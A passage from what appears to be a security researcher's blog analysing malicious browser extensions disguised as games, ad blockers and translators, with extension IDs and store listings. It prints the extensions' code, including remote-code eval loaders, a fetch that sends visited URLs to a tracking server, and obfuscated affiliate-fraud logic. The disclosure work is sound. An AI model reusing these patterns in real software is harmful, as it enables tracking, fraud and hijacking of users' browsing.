Classic Game</td> <td style="text-align:right">274,688</td> <td>dnbipceilikdgjmeiagblfckeialaela</td> <td>False pretenses</td> </tr> <tr> <td>Slope Unblocked Game</td> <td style="text-align:right">99,949</td> <td>aciipkgmbljbcokcnhjbjdhilpngemnj</td> <td>Search hijacking</td> </tr> <tr> <td>Drift Hunters Unblocked Game</td> <td style="text-align:right">77,812</td> <td>nlmjpeojbncdmlfkpppngdnolhfgiehn</td> <td>Search hijacking</td> </tr> <tr> <td>Vex 4 Unblocked game</td> <td style="text-align:right">63,164</td> <td>phjhbkdgnjaokligmkimgnlagccanodn</td> <td>Search hijacking</td> </tr> <tr> <td>Crossy Road Game unblocked</td> <td style="text-align:right">9,511</td> <td>fkhpfgpmejefmjaeelgoopkcglgafedm</td> <td>Search hijacking</td> </tr> <tr> <td>Run 3 Unblocked</td> <td style="text-align:right">7,299</td> <td>mcmmiinopedfbaoongoclagidncaacbd</td> <td>Search hijacking</td> </tr> </tbody> </table> <p>Extensions in Edge Add-ons store:</p> <table> <thead> <tr> <th>Name</th> <th style="text-align:right">Weekly active users</th> <th>Extension ID</th> <th>Issue</th> </tr> </thead> <tbody> <tr> <td>Slope Unblocked Game</td> <td style="text-align:right">6,038</td> <td>ndcokkmfmiaecmndbpohaogmpmchfpkk</td> <td>Code injection</td> </tr> <tr> <td>Drift Hunters Unblocked</td> <td style="text-align:right">3,107</td> <td>cpmpjapeeidaikiiemnddfgfdfjjhgif</td> <td>Code injection</td> </tr> <tr> <td>Tetris Classic</td> <td style="text-align:right">2,052</td> <td>ajefbooiifdkmgkpjkanmgbjbndfbfhg</td> <td>False pretenses</td> </tr> </tbody> </table> <h2 id="false-pretenses">False pretenses</h2> <p>Last week, I’ve written about a <a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/">cluster of browser extensions that would systematically request excessive permissions</a>, typically paired with attempts to make it look like these permissions are actually required. This article already lists several casual games among other extensions.</p> <p>This isn’t the only large cluster in Chrome Web Store however, there is at least one more. <a href="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/">The 34 malicious extensions Google removed recently</a> belonged to this cluster. I’m counting at least 50 more extension in this cluster without obvious malicious functionality, including three casual games.</p> <p>The extension “2048 Classic Game” and similar ones request access to all websites. They use this access to run a content script on all websites, with code like this:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">let</span> <span class="p">{</span><span class="nx">quickAccess</span><span class="p">}</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">chrome</span><span class="p">.</span><span class="nx">storage</span><span class="p">.</span><span class="nx">local</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">&#34;quickAccess&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">quickAccess</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="nx">displayButton</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">displayButton</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;DOMContentLoaded&#34;</span><span class="p">,</span> <span class="kr">async</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="sb">`</span><span class="si">${</span> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">id</span> <span class="si">}</span><span class="sb">-img`</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">insertAdjacentHTML</span><span class="p">(</span><span class="s2">&#34;beforebegin&#34;</span><span class="p">,</span> <span class="s2">&#34;…&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="sb">`</span><span class="si">${</span> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">id</span> <span class="si">}</span><span class="sb">-btn`</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">addEventListener</span><span class="p">(</span><span class="s2">&#34;click&#34;</span><span class="p">,</span> <span class="p">()</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">sendMessage</span><span class="p">({</span> <span class="nx">action</span><span class="o">:</span> <span class="s2">&#34;viewPopup&#34;</span> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>Yes, there is a race condition here: what if <code>storage.local.get()</code> call is slow and finishes after <code>DOMContentLoaded</code> event already fires? Also: yes, adding some HTML code to the beginning of every page is going to cause a massive mess. None of this is really a problem however as this code isn’t actually meant to run. See, the <code>quickAccess</code> flag in <code>storage.local</code> is never being set. It cannot, these extensions don’t have a preferences page.</p> <p>So this entire content script serves only as a pretense, making it look like the requested permissions are required when they are really not. At some point in the future these extensions are meant to be updated into malicious versions which will abuse these permissions.</p> <h2 id="search-hijacking">Search hijacking</h2> <p>The “Vex 4 Unblocked game” and similar extensions actually contain their malicious code already. They also inject a content script into all web pages. First that content script makes sure to download “options” data from <code>https://cloudenginesdk.com/api/v2/</code>. It then injects a script from the extension into the page:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">script</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&#34;script&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="nx">script</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="s2">&#34;data-options&#34;</span><span class="p">,</span> <span class="nx">data</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="nx">script</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="s2">&#34;src&#34;</span><span class="p">,</span> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">getURL</span><span class="p">(</span><span class="s2">&#34;js/options.js&#34;</span><span class="p">));</span> </span></span><span class="line"><span class="cl"><span class="nx">script</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">documentElement</span><span class="p">.</span><span class="nx">removeChild</span><span class="p">(</span><span class="nx">script</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">};</span> </span></span><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">documentElement</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">script</span><span class="p">);</span> </span></span></code></pre></div><p>What does the “options” data returned by cloudenginesdk[.]com look like? The usual response looks like this:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;check&#34;</span><span class="p">:</span><span class="s2">&#34;sdk&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;selector&#34;</span><span class="p">:</span><span class="s2">&#34;.game-area&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;mask&#34;</span><span class="p">:</span><span class="s2">&#34;cloudenginesdk.com&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;g&#34;</span><span class="p">:</span><span class="s2">&#34;game&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;b&#34;</span><span class="p">:</span><span class="s2">&#34;beta&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nt">&#34;debug&#34;</span><span class="p">:</span><span class="s2">&#34;&#34;</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>Given the code in <code>js/options.js</code>, this data makes no sense. The <code>mask</code> field specifies which websites the code should run on. This code clearly isn’t meant to run on <code>cloudenginesdk.com</code>, a website without any pages. So this is a decoy, the server will serve the actual malicious instructions at some point in the future.</p> <p>Without having seen the instructions, it’s still obvious that the code processing them is meant to run on search pages. The processing for Google search pages booby-traps search results: when a result link is clicked, this script will open a pop-up, sending you to some page receiving your search query as parameter.</p> <p>For Yahoo pages, this script will download some additional data containing some selectors. Your clicks to one element are then redirected to another element. Presumably, the goal is making you click on ads (<a href="https://en.wikipedia.org/wiki/Ad_fraud">ad fraud</a>).</p> <p>That’s only the obvious part of the functionality however. In addition to that, this code will also inject additional scripts into web pages, presumably showing ads. It will send your search queries to some third party. And it has the capability of running arbitrary JavaScript on any web page.</p> <p>So while this seems to be geared towards showing you additional search ads, the same functionality could hijack your online banking session for example.</p> <h2 id="code-injection">Code injection</h2> <p>The malicious games in Microsoft’s Edge Add-ons store have slight similarities to the ones doing search hijacking. I cannot be certain that they are being published by the same actor however, their functionality is far less sophisticated. The content script simply injects a “browser polyfill” script:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">chrome</span><span class="p">.</span><span class="nx">storage</span><span class="p">.</span><span class="nx">local</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">&#34;polyfill&#34;</span><span class="p">,</span> <span class="p">({</span><span class="nx">polyfill</span><span class="p">})</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">documentElement</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="s2">&#34;data-polyfill&#34;</span><span class="p">,</span> <span class="nx">polyfill</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="kd">let</span> <span class="nx">elem</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&#34;script&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nx">elem</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">getURL</span><span class="p">(</span><span class="s2">&#34;js/browser-polyfill.js&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="nx">elem</span><span class="p">.</span><span class="nx">onload</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">documentElement</span><span class="p">.</span><span class="nx">removeChild</span><span class="p">(</span><span class="nx">elem</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="nb">document</span><span class="p">.</span><span class="nx">documentElement</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">elem</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="p">});</span> </span></span></code></pre></div><p>And what does that “polyfill” script do? It runs the “polyfill” code:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">job</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">documentElement</span><span class="p">.</span><span class="nx">getAttribute</span><span class="p">(</span><span class="s2">&#34;data-polyfill&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="nb">document</span><span class="p">.</span><span class="nx">documentElement</span><span class="p">.</span><span class="nx">removeAttribute</span><span class="p">(</span><span class="s2">&#34;data-polyfill&#34;</span><span class="p">);</span> </span></span><span class="line"><span class="cl"><span class="nx">job</span> <span class="o">&amp;&amp;</span> <span class="nb">eval</span><span class="p">(</span><span class="nx">job</span><span class="p">);</span> </span></span></code></pre></div><p>So where does this “polyfill” code come from? The extension downloads it from <code>https://polyfilljs.org/browser-polyfill</code>.</p> <p>For me, this download produces only an empty object. Presumably, it will only give out the malicious script to people who have been using the extension for a while. And that script will be injected into each and every website visited then.</p> Another cluster of potentially malicious Chrome extensions https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/ Thu, 08 Jun 2023 14:10:27 +0200 https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/ <p>We’ve already seen <a href="https://palant.info/2023/05/31/more-malicious-extensions-in-chrome-web-store/">Chrome extensions containing obfuscated malicious code</a>. We’ve also seen <a href="https://palant.info/2023/06/05/introducing-pcvark-and-their-malicious-ad-blockers/">PCVARK’s malicious ad blockers</a>. When looking for more PCVARK extensions, I stumbled upon an inconspicuous extension called “Translator - Select to Translate.” The only unusual thing about it were its reviews, lots of raving positive reviews mixed with usability complains. That, and the permissions: why does a translator extension need <code>webRequest</code> and <code>webRequestBlocking</code> permissions?</p> <p>When I looked into this extension, I immediately discovered a strange code block. Supposedly, it was buggy locale processing. In reality, it turned out to be an obfuscated malicious logic meant to perform <a href="https://www.investopedia.com/terms/a/affiliate-fraud.asp">affiliate fraud</a>.</p> <p>That extension wasn’t alone. I kept finding similar extensions until I had a list of 109 extensions, installed by more than 62 million users in total. While most of these extensions didn’t seem to contain malicious code (yet?), almost all of them requested excessive privileges under false pretenses. The names are often confusingly similar to established products. All of these extensions are clearly meant for dubious monetization.</p> <figure><img src="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/pdf_viewer.png" class="article-image" alt="Two extension listed in Chrome Web Store, both called PDF Viewer. One hat watermark “Original” on top of it, bad rating and isn’t featured. The other has Google’s ”Featured” mark and good rating, the watermark says “Fake.”" width="600" height="337" /></figure> <p>If you aren’t interested in the technical details, you should probably go straight to the <a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#the-affected-extensions">list of affected extensions</a>.</p> <div id="tocBox"> <h4>Contents</h4> <nav id="TableOfContents"> <ul> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#malicious-code">Malicious code</a> <ul> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#adblock-all-advertisments">Adblock all advertisments</a></li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#translator-select-to-translate">Translator - Select to Translate</a></li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#the-great-suspender-and-flash-video-downloader">The Great Suspender and Flash Video Downloader</a></li> </ul> </li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#what-are-the-other-extensions-up-to">What are the other extensions up to?</a> <ul> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#policy-violations">Policy violations</a></li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#access-to-all-websites">Access to all websites</a></li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#the-webrequest-declarativenetrequest-permission">The webRequest/declarativeNetRequest permission</a></li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#remote-code-execution">Remote code execution</a></li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#user-tracking">User tracking</a></li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#rudimentary-functionality">Rudimentary functionality</a></li> </ul> </li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#the-companies-developing-these-extensions">The companies developing these extensions</a></li> <li><a href="https://palant.info/2023/06/08/another-cluster-of-potentially-malicious-chrome-extensions/#the-affected-extensions">The affected extensions</a></li> </ul> </nav> </div> <h2 id="malicious-code">Malicious code</h2> <p>Altogether, I found malicious functionality in four browser extensions. There might be more, but I didn’t have time to thoroughly review more than a hundred browser extensions.</p> <h3 id="adblock-all-advertisments">Adblock all advertisments</h3> <p>No, I didn’t mistype the extension name. It is really named like that.</p> <p>When opened it up, this turned out to be the most lazy ad blocker I’ve ever seen. Its entire ad blocking functionality essentially consists of 33 hardcoded rules and a tiny YouTube content script.</p> <p>But wait, there is some functionality to update the rules! Except: why would someone put rule updates into a <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated">tabs.onUpdated listener</a>? This is the code running whenever a tab finishes loading (simplified):</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">response</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">&#34;https://smartadblocker.com/extension/rules/api&#34;</span><span class="p">,</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">method</span><span class="o">:</span> <span class="s2">&#34;POST&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">credentials</span><span class="o">:</span> <span class="s2">&#34;include&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">headers</span><span class="o">:</span> <span class="p">{</span> <span class="s2">&#34;Content-Type&#34;</span><span class="o">:</span> <span class="s2">&#34;application/json&#34;</span> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="nx">body</span><span class="o">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="nx">url</span><span class="o">:</span> <span class="nx">tab</span><span class="p">.</span><span class="nx">url</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">userId</span><span class="o">:</span> <span class="p">(</span><span class="kr">await</span> <span class="nx">chrome</span><span class="p">.</span><span class="nx">storage</span><span class="p">.</span><span class="nx">sync</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">&#34;userId&#34;</span><span class="p">)).</span><span class="nx">userId</span> </span></span><span class="line"><span class="cl"> <span class="p">})</span> </span></span><span class="line"><span class="cl"><span class="p">});</span> </span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">json</span> <span class="o">=</span> <span class="kr">await</span> <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span> </span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">key</span> <span class="k">in</span> <span class="nx">json</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="err">…</span> </span></span></code></pre></div><p>Supposedly, the response is a list of rules instructing the extension to remove elements on the page by their id, class or text. In reality this website always responds with “502 Bad Gateway.”</p> <p>Now the website could of course be misconfigured. It’s more likely however that the website is working as intended: logging the incoming data (each address you navigate to along with your unique ID) and producing an error message to discourage anyone who comes looking.</p> <p>It’s not like the developers behind these extensions don’t know how to produce a (moderately) better ad blocker. My list also features an extension called “Adblock Unlimited” which, despite similar code, manages to ship more than 10,000 rules. It also manages to complement these rules with dynamically downloaded anti-malware rules without leaking your visited addresses. Oh, and it has “anti-malware protection”: a content script that will detect exclusively test pages like <code>maliciouswebsitetest.com</code>.</p> <h3 id="translator-select-to-translate">Translator - Select to Translate</h3> <p>My list features nine very similar, yet subtly different translator extensions. One of the differences in “Translator - Select to Translate” is a number of unusual functions, seemingly with the purpose of obfuscating the purpose of the code. For example, there is this gem:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">base</span> <span class="o">=</span> <span class="nx">e</span> <span class="p">=&gt;</span> <span class="nx">e</span> <span class="o">?</span> <span class="nx">atob</span><span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="o">:</span> <span class="s2">&#34;parse&#34;</span><span class="p">;</span> </span></span></code></pre></div><p>This function is either used with a parameter to decode Base64, or without parameters to obfuscate a <code>JSON.parse()</code> call. When you start looking how these weird functions are used, it all leads to the <code>locales()</code> function:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">locales</span><span class="p">(</span><span class="nx">callback</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">chrome</span><span class="p">.</span><span class="nx">runtime</span><span class="p">.</span><span class="nx">getPackageDirectoryEntry</span><span class="p">(</span><span class="nx">dirEntry</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">dirEntry</span><span class="p">.</span><span class="nx">getDirectory</span><span class="p">(</span><span class="s2">&#34;_locales&#34;</span><span class="p">,</span> <span class="p">{},</span> <span class="nx">dir</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">reader</span> <span class="o">=</span> <span class="nx">dir</span><span class="p">.</span><span class="nx">createReader</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">promises</span> <span class="o">=</span> <span class="p">[];</span> </span></span><span class="line"><span class="cl"> <span class="nx">reader</span><span class="p">.</span><span class="nx">readEntries</span><span class="p">(</span><span class="nx">entries</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">for</span> <span class="p">(</span><span class="kr">const</span> <span class="nx">entry</span> <span class="k">of</span> <span class="nx">entries</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">entry</span><span class="p">.</span><span class="nx">name</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="s2">&#34;.&#34;</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">promises</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="k">new</span> <span class="nb">Promise</span><span class="p">((</span><span class="nx">resolve</span><span class="p">,</span> <span class="nx">reject</span><span class="p">)</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">name</span> <span class="o">=</span> <span class="nx">entry</span><span class="p">.</span><span class="nx">name</span><span class="p">;</span> </span></span><span class="line"><span class="cl"> <span class="nx">entry</span><span class="p">.</span><span class="nx">getFile</span><span class="p">(</span><span class="s2">&#34;../messages.json&#34;</span><span class="p">,</span> <span class="p">{},</span> <span class="nx">entry</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">entry</span><span class="p">.</span><span class="nx">file</span><span class="p">(</span><span class="nx">file</span> <span class="p">=&gt;</span> </span></span><span class="line"><span class="cl"> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="kr">const</span> <span class="nx">fileReader</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">FileReader</span><span class="p">();</span> </span></span><span class="line"><span class="cl"> <span class="nx">fileReader</span><span class="p">.</span><span class="nx">onloadend</span> <span class="o">=</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="nx">resolve</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="nx">k</span><span class="o">:</span> <span class="nx">name</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="nx">v</span><span class="o">:</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">fileReader</span><span class="p">.</span><span class="nx">result</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="p">};</span> </span></span><span class="line"><span class="cl"> <span class="nx">fileReader</span><span class="p">.</span><span class="nx">readAsText</span><span class="p">(</span><span class="nx">file</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="p">}));</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"> <span class="nx">callback</span><span class="p">(</span><span class="nx">promises</span><span class="p">);</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"> <span class="p">});</span> </span></span><span class="line"><span class="cl"><span class="p">}</span> </span></span></code></pre></div><p>On the first glance, this looks like a legitimate function to read the locale files. Except: there is a “bug,” it reads <code>&quot;../messages.json&quot;</code> instead of <code>&quot;messages.json&quot;</code>. So regardless of the locale, the file being read is <code>_locales/messages.json</code>.</p> <p>The processing of the “locales” confirms that this is not a bug but rather intentional:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="nx">combine</span><span class="p">(</span><span class="nx">locales</span><span class="p">.</span><span class="nx">sort</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">filter</span><span class="p">(</span><span class="nx">locale</span> <span class="p">=&gt;</span> <span class="nx">locale</span><span class="p">.</span><span class="nx">k</span><span class="p">.</span><span class="nx">charCodeAt</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">%</span> <span class="mi">5</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">locale</span> <span class="p">=&gt;</span> <span class="nx">locale</span><span class="p">.</span><span class="nx">v</span><span class="p">.</span><span class="nx">v</span><span class="p">.</span><span class="nx">message</span> <span class="o">+</span> <span class="nx">locale</span><span class="p">.</span><span class="nx">v</span><span class="p">.</span><span class="nx">s</span><span class="p">.</span><span class="nx">message</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="s2">&#34;&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="p">);</span> </span></span></code></pre></div><p>Yes, calculating the modulo of the first character in the locale name isn’t something you would normally find in any legitimate locale handling code. And neither would one concatenate the messages for locale strings named v and s.</p> <p>When one looks at the <code>combine()</code> function, things only get weirder. If I got this correctly, the “locale data” is parsed by performing Base64-decoding twice and parsing the result as JSON then. And then you get code like the following (simplified here):</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">upd</span> <span class="o">=</span> <span class="nx">data</span><span class="p">.</span><span class="nx">upd</span><span class="p">;</span> </span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">c</span> <span class="o">=</span> <span class="nb">document</span><span class="p">[</span><span class="nx">upd</span><span class="p">.</span><span class="nx">cret</span><span class="p">](</span><span class="nx">upd</span><span class="p">.</span><span class="nx">crif</span><span class="p">);</span> </span></span></code></pre></div><p>From the context it’s obvious: this is calling <code>document.createElement()</code>. But it isn’t always possible to know for sure because the malicious <code>messages.json</code> file is missing from the extension. Presumably, the idea was publishing the code first and adding the malicious instructions later, in an update that wouldn’t raise suspicions.</p> <p>With the instructions missing, understanding the code is tricky. Many calls can be guessed by their signature however. In particular, I can see an HTML element being created to initiate a web request. Additional data is then being extracted from the HTTP headers of the response. Presumably, the actual response data is something innocuous, meant to throw anyone off track who is monitoring network traffic.</p> <p>After that at least two listeners are registered, presumably for <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest/onHeadersReceived">webRequest.onBeforeSendHeaders</a> and <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated">tabs.onUpdated</a> events. While the former replaces/adds some HTTP header, the latter manipulates addresses and redirects some websites.</p> <p>Even before I found the other extensions I guessed that this is about affiliate fraud: when you visit a shopping website, this code redirects you so that you get to the shop with the “right” affiliate ID. The publisher of the extension earns a commission for “referring” you to the shop then. Of course, the same code could just as well redirect your banking session to a phishing website.</p> <h3 id="the-great-suspender-and-flash-video-downloader">The Great Suspender and Flash Video Downloader</h3> <p>In case the name The Great Suspender sounds familiar and you are surprised to see it here: The Great Suspender used to be an open source extension, its code is still available on GitHub. Somebody took it and added some malicious code to it. Very similar code can be found in the Flash Video Downloader extension.</p> <p>The code in question masquerades as a license check. The “license” is being downloaded from <code>https://www.greatsuspender.com/license_verification</code> and <code>https://www.flashvidownloader.com/license_verification</code> respectively. The first time this download happens, the response will be reassuring:</p> <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="p">{</span><span class="nt">&#34;settings&#34;</span><span class="p">:</span><span class="s2">&#34;{default:[true]}&#34;</span><span class="p">,</span><span 